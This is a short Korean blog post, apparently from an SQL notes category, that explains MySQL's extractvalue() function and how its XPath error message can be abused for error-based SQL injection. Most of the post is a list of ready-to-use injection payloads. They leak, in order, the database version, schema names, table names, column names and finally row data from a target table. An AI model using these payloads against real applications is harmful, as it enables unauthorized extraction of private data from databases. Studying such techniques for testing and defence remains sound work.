반응형
설명
XML에서 XPath 표현식에 일치하는 데이터를 추출하여 반환
extractvalue(xml_frag, xpath_expr)
두번째 인수에 유효하지 않은 XPath 표현식이 사용된다면 오류 발생
ERROR 1105 (HY000): XPATH syntax error: '[xpath_expr 인수값]')
인수
xml_frag : XML 마크업
xpath_expr : XPath 식으로 지정
error based injection
두번째 인수에 임의의 SQL 쿼리를 지정했을 때 이 쿼리의 실행결과가 오류 메시지에 포함되어 출력된다.
이 점을 이용해 error based injection 수행이 가능하다.
두번째 인수가 항상 유효하지 않은 XPath 표현식이 되도록 하기 위해 concat 함수를 이용해 콜론(:,0x3a)을 앞에 추가한다.
extractvalue(rand(), concat(0x3a,version()))-- # 데이터베이스 버전
extractvalue(rand(), concat(0x3a,(select concat(0x3a,schema_name) from information_schema.schemata limit 0,1)))-- # 데이터베이스명
extractvalue(rand(), concat(0x3a,database()))-- # 데이터베이스명
extractvalue(rand(), concat(0x3a,(select concat(0x3a,table_name) from information_schema.tables WHERE table_schema='데이터베이스명' LIMIT 0,1)))-- # 테이블명
extractvalue(rand(), concat(0x3a,(select concat(0x3a,column_name) from information_schema.columns WHERE table_schema='데이터베이스명' and table_name='테이블명' LIMIT 0,1)))-- # 컬럼명
extractvalue(rand(), concat(0x3a,(select concat(컬럼1,0x3a,컬럼2) from 데이터베이스명.테이블명 limit 0,1)))-- # 데이터
반응형
'programming > sql' 카테고리의 다른 글
order by (0) | 2023.01.25 |
---|---|
SELECT @local_variable (0) | 2023.01.23 |
[MySQL] 명령어 (0) | 2023.01.09 |
procedure_analyse (0) | 2023.01.09 |
is null/is not null, in/not in (0) | 2023.01.07 |